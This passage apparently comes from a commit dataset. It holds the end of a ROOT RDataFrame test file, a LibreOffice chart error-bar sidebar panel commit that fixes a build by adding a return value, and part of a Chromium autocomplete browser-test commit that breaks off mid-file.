\"int\");\n}\n\nTEST(DefinePerSampleMore, GetColumnNames)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetColumnNames(), std::vector<std::string>{\"x\"});\n}\n\nTEST(DefinePerSampleMore, GetDefinedColumnNames)\n{\n auto df = ROOT::RDataFrame(1).DefinePerSample(\"x\", [](unsigned, const ROOT::RDF::RSampleInfo &) { return 42; });\n EXPECT_EQ(df.GetDefinedColumnNames(), std::vector<std::string>{\"x\"});\n}\n\n\/* TODO\n\/\/ Not supported yet\nTEST(DefinePerSample, DataSource)\n{\n ROOT::RDataFrame df(std::make_unique<ROOT::RDF::RTrivialDS>(1));\n auto r = df.DefinePerSample(\"col0\", [] { return 42; }).Max<int>(\"col0\");\n EXPECT_EQ(*r, 42);\n}\n*\/\n\n\/\/ instantiate single-thread tests\nINSTANTIATE_TEST_SUITE_P(Seq, DefinePerSample, ::testing::Values(false));\n\n#ifdef R__USE_IMT\n\/\/ instantiate multi-thread tests\nINSTANTIATE_TEST_SUITE_P(MT, DefinePerSample, ::testing::Values(true));\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <sfx2\/sidebar\/ResourceDefinitions.hrc>\n#include <sfx2\/sidebar\/Theme.hxx>\n#include <sfx2\/sidebar\/ControlFactory.hxx>\n\n#include <com\/sun\/star\/chart\/ChartAxisLabelPosition.hpp>\n\n#include \"ChartErrorBarPanel.hxx\"\n#include \"ChartController.hxx\"\n#include <sfx2\/bindings.hxx>\n#include <sfx2\/dispatch.hxx>\n#include <sfx2\/imagemgr.hxx>\n#include <vcl\/fixed.hxx>\n#include <vcl\/lstbox.hxx>\n#include <vcl\/field.hxx>\n#include <vcl\/toolbox.hxx>\n#include <svl\/intitem.hxx>\n#include <svl\/stritem.hxx>\n#include <comphelper\/processfactory.hxx>\n\nusing namespace css;\nusing namespace css::uno;\nusing ::sfx2::sidebar::Theme;\n\nnamespace chart { namespace sidebar {\n\nnamespace {\n\ncss::uno::Reference<css::beans::XPropertySet> getErrorBarPropSet(\n css::uno::Reference<css::frame::XModel> xModel, const OUString& rCID)\n{\n return ObjectIdentifier::getObjectPropertySet(rCID, xModel);\n}\n\nbool showPositiveError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return false;\n\n css::uno::Any aAny = xPropSet->getPropertyValue(\"ShowPositiveError\");\n\n if (!aAny.hasValue())\n return false;\n\n bool bShow = false;\n aAny >>= bShow;\n return bShow;\n}\n\nbool showNegativeError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return false;\n\n css::uno::Any aAny = xPropSet->getPropertyValue(\"ShowNegativeError\");\n\n if (!aAny.hasValue())\n return false;\n\n bool bShow = false;\n aAny >>= bShow;\n return bShow;\n}\n\nvoid setShowPositiveError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID, bool bShow)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return;\n\n xPropSet->setPropertyValue(\"ShowPositiveError\", css::uno::makeAny(bShow));\n}\n\nvoid setShowNegativeError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID, bool bShow)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return;\n\n xPropSet->setPropertyValue(\"ShowNegativeError\", css::uno::makeAny(bShow));\n}\n\nOUString getCID(css::uno::Reference<css::frame::XModel> xModel)\n{\n css::uno::Reference<css::frame::XController> xController(xModel->getCurrentController());\n css::uno::Reference<css::view::XSelectionSupplier> xSelectionSupplier(xController, css::uno::UNO_QUERY);\n if (!xSelectionSupplier.is())\n return OUString();\n\n uno::Any aAny = xSelectionSupplier->getSelection();\n assert(aAny.hasValue());\n OUString aCID;\n aAny >>= aCID;\n#ifdef DBG_UTIL\n ObjectType eType = ObjectIdentifier::getObjectType(aCID);\n assert(eType == OBJECTTYPE_DATA_ERRORS_X ||\n eType == OBJECTTYPE_DATA_ERRORS_Y ||\n eType == OBJECTTYPE_DATA_ERRORS_Z);\n#endif\n\n return aCID;\n}\n\n}\n\nChartErrorBarPanel::ChartErrorBarPanel(\n vcl::Window* pParent,\n const css::uno::Reference<css::frame::XFrame>& rxFrame,\n ChartController* pController)\n : PanelLayout(pParent, \"ChartErrorBarPanel\", \"modules\/schart\/ui\/sidebarerrorbar.ui\", rxFrame),\n mxFrame(rxFrame),\n mxModel(pController->getModel()),\n mxListener(new ChartSidebarModifyListener(this))\n{\n\n get(mpRBPosAndNeg, \"radiobutton_positive_negative\");\n get(mpRBPos, \"radiobutton_positive\");\n get(mpRBNeg, \"radiobutton_negative\");\n\n Initialize();\n}\n\nChartErrorBarPanel::~ChartErrorBarPanel()\n{\n disposeOnce();\n}\n\nvoid ChartErrorBarPanel::dispose()\n{\n css::uno::Reference<css::util::XModifyBroadcaster> xBroadcaster(mxModel, css::uno::UNO_QUERY_THROW);\n xBroadcaster->removeModifyListener(mxListener);\n\n mpRBPosAndNeg.clear();\n mpRBPos.clear();\n mpRBNeg.clear();\n\n PanelLayout::dispose();\n}\n\nvoid ChartErrorBarPanel::Initialize()\n{\n css::uno::Reference<css::util::XModifyBroadcaster> xBroadcaster(mxModel, css::uno::UNO_QUERY_THROW);\n xBroadcaster->addModifyListener(mxListener);\n\n updateData();\n\n Link<> aLink = LINK(this, ChartErrorBarPanel, RadioBtnHdl);\n mpRBPosAndNeg->SetToggleHdl(aLink);\n mpRBPos->SetToggleHdl(aLink);\n mpRBNeg->SetToggleHdl(aLink);\n}\n\nvoid ChartErrorBarPanel::updateData()\n{\n OUString aCID = getCID(mxModel);\n bool bPos = showPositiveError(mxModel, aCID);\n bool bNeg = showNegativeError(mxModel, aCID);\n\n SolarMutexGuard aGuard;\n\n if (bPos && bNeg)\n mpRBPosAndNeg->Check(true);\n else if (bPos)\n mpRBPos->Check(true);\n else if (bNeg)\n mpRBNeg->Check(true);\n}\n\nVclPtr<vcl::Window> ChartErrorBarPanel::Create (\n vcl::Window* pParent,\n const css::uno::Reference<css::frame::XFrame>& rxFrame,\n ChartController* pController)\n{\n if (pParent == NULL)\n throw lang::IllegalArgumentException(\"no parent Window given to ChartErrorBarPanel::Create\", NULL, 0);\n if ( ! rxFrame.is())\n throw lang::IllegalArgumentException(\"no XFrame given to ChartErrorBarPanel::Create\", NULL, 1);\n\n return VclPtr<ChartErrorBarPanel>::Create(\n pParent, rxFrame, pController);\n}\n\nvoid ChartErrorBarPanel::DataChanged(\n const DataChangedEvent& )\n{\n updateData();\n}\n\nvoid ChartErrorBarPanel::HandleContextChange(\n const ::sfx2::sidebar::EnumContext& )\n{\n updateData();\n}\n\nvoid ChartErrorBarPanel::NotifyItemUpdate(\n sal_uInt16 \/*nSID*\/,\n SfxItemState \/*eState*\/,\n const SfxPoolItem* \/*pState*\/,\n const bool )\n{\n}\n\nvoid ChartErrorBarPanel::modelInvalid()\n{\n}\n\nIMPL_LINK_NOARG(ChartErrorBarPanel, RadioBtnHdl)\n{\n OUString aCID = getCID(mxModel);\n bool bPos = mpRBPosAndNeg->IsChecked() || mpRBPos->IsChecked();\n bool bNeg = mpRBPosAndNeg->IsChecked() || mpRBNeg->IsChecked();\n\n setShowPositiveError(mxModel, aCID, bPos);\n setShowNegativeError(mxModel, aCID, bNeg);\n}\n\n}} \/\/ end of namespace ::chart::sidebar\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>fix build<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <sfx2\/sidebar\/ResourceDefinitions.hrc>\n#include <sfx2\/sidebar\/Theme.hxx>\n#include <sfx2\/sidebar\/ControlFactory.hxx>\n\n#include <com\/sun\/star\/chart\/ChartAxisLabelPosition.hpp>\n\n#include \"ChartErrorBarPanel.hxx\"\n#include \"ChartController.hxx\"\n#include <sfx2\/bindings.hxx>\n#include <sfx2\/dispatch.hxx>\n#include <sfx2\/imagemgr.hxx>\n#include <vcl\/fixed.hxx>\n#include <vcl\/lstbox.hxx>\n#include <vcl\/field.hxx>\n#include <vcl\/toolbox.hxx>\n#include <svl\/intitem.hxx>\n#include <svl\/stritem.hxx>\n#include <comphelper\/processfactory.hxx>\n\nusing namespace css;\nusing namespace css::uno;\nusing ::sfx2::sidebar::Theme;\n\nnamespace chart { namespace sidebar {\n\nnamespace {\n\ncss::uno::Reference<css::beans::XPropertySet> getErrorBarPropSet(\n css::uno::Reference<css::frame::XModel> xModel, const OUString& rCID)\n{\n return ObjectIdentifier::getObjectPropertySet(rCID, xModel);\n}\n\nbool showPositiveError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return false;\n\n css::uno::Any aAny = xPropSet->getPropertyValue(\"ShowPositiveError\");\n\n if (!aAny.hasValue())\n return false;\n\n bool bShow = false;\n aAny >>= bShow;\n return bShow;\n}\n\nbool showNegativeError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return false;\n\n css::uno::Any aAny = xPropSet->getPropertyValue(\"ShowNegativeError\");\n\n if (!aAny.hasValue())\n return false;\n\n bool bShow = false;\n aAny >>= bShow;\n return bShow;\n}\n\nvoid setShowPositiveError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID, bool bShow)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return;\n\n xPropSet->setPropertyValue(\"ShowPositiveError\", css::uno::makeAny(bShow));\n}\n\nvoid setShowNegativeError(css::uno::Reference<css::frame::XModel> xModel,\n const OUString& rCID, bool bShow)\n{\n css::uno::Reference<css::beans::XPropertySet> xPropSet =\n getErrorBarPropSet(xModel, rCID);\n\n if (!xPropSet.is())\n return;\n\n xPropSet->setPropertyValue(\"ShowNegativeError\", css::uno::makeAny(bShow));\n}\n\nOUString getCID(css::uno::Reference<css::frame::XModel> xModel)\n{\n css::uno::Reference<css::frame::XController> xController(xModel->getCurrentController());\n css::uno::Reference<css::view::XSelectionSupplier> xSelectionSupplier(xController, css::uno::UNO_QUERY);\n if (!xSelectionSupplier.is())\n return OUString();\n\n uno::Any aAny = xSelectionSupplier->getSelection();\n assert(aAny.hasValue());\n OUString aCID;\n aAny >>= aCID;\n#ifdef DBG_UTIL\n ObjectType eType = ObjectIdentifier::getObjectType(aCID);\n assert(eType == OBJECTTYPE_DATA_ERRORS_X ||\n eType == OBJECTTYPE_DATA_ERRORS_Y ||\n eType == OBJECTTYPE_DATA_ERRORS_Z);\n#endif\n\n return aCID;\n}\n\n}\n\nChartErrorBarPanel::ChartErrorBarPanel(\n vcl::Window* pParent,\n const css::uno::Reference<css::frame::XFrame>& rxFrame,\n ChartController* pController)\n : PanelLayout(pParent, \"ChartErrorBarPanel\", \"modules\/schart\/ui\/sidebarerrorbar.ui\", rxFrame),\n mxFrame(rxFrame),\n mxModel(pController->getModel()),\n mxListener(new ChartSidebarModifyListener(this))\n{\n\n get(mpRBPosAndNeg, \"radiobutton_positive_negative\");\n get(mpRBPos, \"radiobutton_positive\");\n get(mpRBNeg, \"radiobutton_negative\");\n\n Initialize();\n}\n\nChartErrorBarPanel::~ChartErrorBarPanel()\n{\n disposeOnce();\n}\n\nvoid ChartErrorBarPanel::dispose()\n{\n css::uno::Reference<css::util::XModifyBroadcaster> xBroadcaster(mxModel, css::uno::UNO_QUERY_THROW);\n xBroadcaster->removeModifyListener(mxListener);\n\n mpRBPosAndNeg.clear();\n mpRBPos.clear();\n mpRBNeg.clear();\n\n PanelLayout::dispose();\n}\n\nvoid ChartErrorBarPanel::Initialize()\n{\n css::uno::Reference<css::util::XModifyBroadcaster> xBroadcaster(mxModel, css::uno::UNO_QUERY_THROW);\n xBroadcaster->addModifyListener(mxListener);\n\n updateData();\n\n Link<> aLink = LINK(this, ChartErrorBarPanel, RadioBtnHdl);\n mpRBPosAndNeg->SetToggleHdl(aLink);\n mpRBPos->SetToggleHdl(aLink);\n mpRBNeg->SetToggleHdl(aLink);\n}\n\nvoid ChartErrorBarPanel::updateData()\n{\n OUString aCID = getCID(mxModel);\n bool bPos = showPositiveError(mxModel, aCID);\n bool bNeg = showNegativeError(mxModel, aCID);\n\n SolarMutexGuard aGuard;\n\n if (bPos && bNeg)\n mpRBPosAndNeg->Check(true);\n else if (bPos)\n mpRBPos->Check(true);\n else if (bNeg)\n mpRBNeg->Check(true);\n}\n\nVclPtr<vcl::Window> ChartErrorBarPanel::Create (\n vcl::Window* pParent,\n const css::uno::Reference<css::frame::XFrame>& rxFrame,\n ChartController* pController)\n{\n if (pParent == NULL)\n throw lang::IllegalArgumentException(\"no parent Window given to ChartErrorBarPanel::Create\", NULL, 0);\n if ( ! rxFrame.is())\n throw lang::IllegalArgumentException(\"no XFrame given to ChartErrorBarPanel::Create\", NULL, 1);\n\n return VclPtr<ChartErrorBarPanel>::Create(\n pParent, rxFrame, pController);\n}\n\nvoid ChartErrorBarPanel::DataChanged(\n const DataChangedEvent& )\n{\n updateData();\n}\n\nvoid ChartErrorBarPanel::HandleContextChange(\n const ::sfx2::sidebar::EnumContext& )\n{\n updateData();\n}\n\nvoid ChartErrorBarPanel::NotifyItemUpdate(\n sal_uInt16 \/*nSID*\/,\n SfxItemState \/*eState*\/,\n const SfxPoolItem* \/*pState*\/,\n const bool )\n{\n}\n\nvoid ChartErrorBarPanel::modelInvalid()\n{\n}\n\nIMPL_LINK_NOARG(ChartErrorBarPanel, RadioBtnHdl)\n{\n OUString aCID = getCID(mxModel);\n bool bPos = mpRBPosAndNeg->IsChecked() || mpRBPos->IsChecked();\n bool bNeg = mpRBPosAndNeg->IsChecked() || mpRBNeg->IsChecked();\n\n setShowPositiveError(mxModel, aCID, bPos);\n setShowNegativeError(mxModel, aCID, bNeg);\n\n return 0;\n}\n\n}} \/\/ end of namespace ::chart::sidebar\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/format_macros.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_edit.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_match.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_model.h\"\n#include \"chrome\/browser\/history\/history.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/browser\/ui\/omnibox\/location_bar.h\"\n#include \"chrome\/browser\/ui\/omnibox\/omnibox_view.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/notification_type.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n\/\/ Autocomplete test is flaky on ChromeOS.\n\/\/ http:\/\/crbug.com\/52928\n#if defined(OS_CHROMEOS)\n#define MAYBE_Autocomplete FLAKY_Autocomplete\n#else\n#define MAYBE_Autocomplete Autocomplete\n#endif\n\n\nnamespace {\n\nstring16 AutocompleteResultAsString(const AutocompleteResult& result) {\n std::string output(base::StringPrintf(\"{%\" PRIuS \"} \", result.size()));\n for (size_t i = 0; i < result.size(); ++i) {\n AutocompleteMatch match = result.match_at(i);\n std::string provider_name = match.provider->name();\n output.append(base::StringPrintf(\"[\\\"%s\\\" by \\\"%s\\\"] \",\n UTF16ToUTF8(match.contents).c_str(),\n provider_name.c_str()));\n }\n return UTF8ToUTF16(output);\n}\n\n} \/\/ namespace\n\nclass AutocompleteBrowserTest : public InProcessBrowserTest {\n protected:\n LocationBar* GetLocationBar() const {\n return browser()->window()->GetLocationBar();\n }\n\n AutocompleteController* GetAutocompleteController() const {\n return GetLocationBar()->location_entry()->model()->popup_model()->\n autocomplete_controller();\n }\n};\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, Basic) {\n LocationBar* location_bar = GetLocationBar();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n \/\/ TODO(phajdan.jr): check state of IsSelectAll when it's consistent across\n \/\/ platforms.\n\n location_bar->FocusLocation(true);\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"chrome\"));\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"chrome\"), location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->RevertAll();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"chrome\"));\n location_bar->Revert();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, MAYBE_Autocomplete) {\n \/\/ The results depend on the history backend being loaded. Make sure it is\n \/\/ loaded so that the autocomplete results are consistent.\n ui_test_utils::WaitForHistoryToLoad(browser());\n\n LocationBar* location_bar = GetLocationBar();\n AutocompleteController* autocomplete_controller = GetAutocompleteController();\n\n {\n autocomplete_controller->Start(\n ASCIIToUTF16(\"chrome\"), string16(), true, false, true,\n AutocompleteInput::SYNCHRONOUS_MATCHES);\n\n EXPECT_TRUE(autocomplete_controller->done());\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_TRUE(location_bar->location_entry()->GetText().empty());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n \/\/ We get two matches because we have a provider for extension apps and the\n \/\/ Chrome Web Store is a built-in Extension app. For this test, we only care\n \/\/ about the other match existing.\n ASSERT_GE(result.size(), 1U) << AutocompleteResultAsString(result);\n AutocompleteMatch match = result.match_at(0);\n EXPECT_EQ(AutocompleteMatch::SEARCH_WHAT_YOU_TYPED, match.type);\n EXPECT_FALSE(match.deletable);\n }\n\n {\n location_bar->Revert();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n EXPECT_TRUE(result.empty()) << AutocompleteResultAsString(result);\n }\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, TabAwayRevertSelect) {\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=38385\n \/\/ Make sure that tabbing away from an empty omnibar causes a revert\n \/\/ and select all.\n LocationBar* location_bar = GetLocationBar();\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n location_bar->location_entry()->SetUserText(string16());\n browser()->AddSelectedTabWithURL(GURL(chrome::kAboutBlankURL),\n PageTransition::START_PAGE);\n ui_test_utils::WaitForNavigation(\n &browser()->GetSelectedTabContents()->controller());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n browser()->CloseTab();\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, FocusSearch) {\n LocationBar* location_bar = GetLocationBar();\n\n \/\/ Focus search when omnibox is blank\n {\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox is _not_ alread in forced query mode.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"foo\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox _is_ already in forced query mode, but no query\n \/\/ has been typed.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"?\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox _is_ already in forced query mode, and some query\n \/\/ has been typed.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"?foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?foo\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?foo\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, std::min(selection_start, selection_end));\n EXPECT_EQ(4U, std::max(selection_start, selection_end));\n }\n\n \/\/ Focus search when omnibox is in forced query mode with leading whitespace.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\" ?foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\" ?foo\"),\n location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\" ?foo\"),\n location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(4U, std::min(selection_start, selection_end));\n EXPECT_EQ(7U, std::max(selection_start, selection_end));\n }\n}\n<commit_msg><commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/format_macros.h\"\n#include \"base\/path_service.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_edit.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_match.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_model.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/history\/history.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/browser\/ui\/omnibox\/location_bar.h\"\n#include \"chrome\/browser\/ui\/omnibox\/omnibox_view.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/notification_type.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n\/\/ Autocomplete test is flaky on ChromeOS.\n\/\/ http:\/\/crbug.com\/52928\n#if defined(OS_CHROMEOS)\n#define MAYBE_Autocomplete FLAKY_Autocomplete\n#else\n#define MAYBE_Autocomplete Autocomplete\n#endif\n\n\nnamespace {\n\nstring16 AutocompleteResultAsString(const AutocompleteResult& result) {\n std::string output(base::StringPrintf(\"{%\" PRIuS \"} \", result.size()));\n for (size_t i = 0; i < result.size(); ++i) {\n AutocompleteMatch match = result.match_at(i);\n std::string provider_name = match.provider->name();\n output.append(base::StringPrintf(\"[\\\"%s\\\" by \\\"%s\\\"] \",\n UTF16ToUTF8(match.contents).c_str(),\n provider_name.c_str()));\n }\n return UTF8ToUTF16(output);\n}\n\n} \/\/ namespace\n\nclass AutocompleteBrowserTest : public ExtensionBrowserTest {\n protected:\n LocationBar* GetLocationBar() const {\n return browser()->window()->GetLocationBar();\n }\n\n AutocompleteController* GetAutocompleteController() const {\n return GetLocationBar()->location_entry()->model()->popup_model()->\n autocomplete_controller();\n }\n};\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, Basic) {\n LocationBar* location_bar = GetLocationBar();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n \/\/ TODO(phajdan.jr): check state of IsSelectAll when it's consistent across\n \/\/ platforms.\n\n location_bar->FocusLocation(true);\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"chrome\"));\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"chrome\"), location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->RevertAll();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"chrome\"));\n location_bar->Revert();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n 